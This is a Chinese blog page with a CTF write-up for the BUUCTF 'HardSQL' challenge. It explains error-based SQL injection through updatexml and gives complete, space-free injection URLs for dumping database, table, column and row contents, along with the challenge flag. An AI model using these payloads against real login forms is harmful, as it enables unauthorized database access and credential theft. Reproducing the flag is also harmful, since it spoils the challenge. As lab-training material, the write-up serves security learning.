| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> web buuctf [极客大挑战 2019]HardSQL1 -> 正文阅读 |
|
[大数据]web buuctf [极客大挑战 2019]HardSQL1 |
这题做了一下午,后来翻了一下别人的wp才发现,过滤了空格,服了。。 考点:报错注入 报错注入的应用是sql注入,页面无显示位,但有数据库的报错信息 报错注入使用函数(updatexml(xml_taget,xpath,new_xml)),这个函数是用来更新指定的xml文件,xpath的格式通常是为xx/xx/xx,传进去字符串就会报错,也就会显示报错信息, 利用updatexml(1,concat(0x7e,database()),2) concat函数将里面内容连成字符串,与xpath的格式不符,所以会报错 0x7e的axii码为~,updatexml报错信息的内容为特殊字符、字母之后的内容,为了防止查询结果丢失加上特殊字符 另 爆数据库database() 爆表select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()) 爆字段: select(group_concat(column_name))from(information_schema.columns)where(table_name)like ('表名') 爆内容: select(group_concat(字段)from(表)) 注意爆字段的时候表名需要有单引号,爆内容时不需要加 1.打开页面,是用户正常的登录界面,进行sql注入 先判断注入类型字符还是数字 1 or 1=1# 1' or '1=1'# 界面显示都挂了,都存在过滤,之后试了试大写小和双写都不行 2.报错注入 输入1',界面提示报错,根据报错,说明是字符型输入,利用报错信息回显flag 注意这里面过滤了空格,所以需要用()把sql语句圈起来,不能留空格 如下: 查询数据库?username=1&password=1'or(updatexml(1,concat(0x7e,database()),1))%23 查询表 ??username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23 查询字段:? ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23 爆字段内容: ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1))%23? flag{7c28faad-3046-409f-a4 不完全,这里是因为extractvalue和updatexml只显示32位字符。 用right(string,num)显示password的右边? 将id,username,password替换为right(password,30) 值为d-3046-409f-a4f4-0ef437a8372c} 拼接后得:?flag{7c28faad-3046-409f-a4f4-0ef437a8372c} ? |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 7:21:07- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |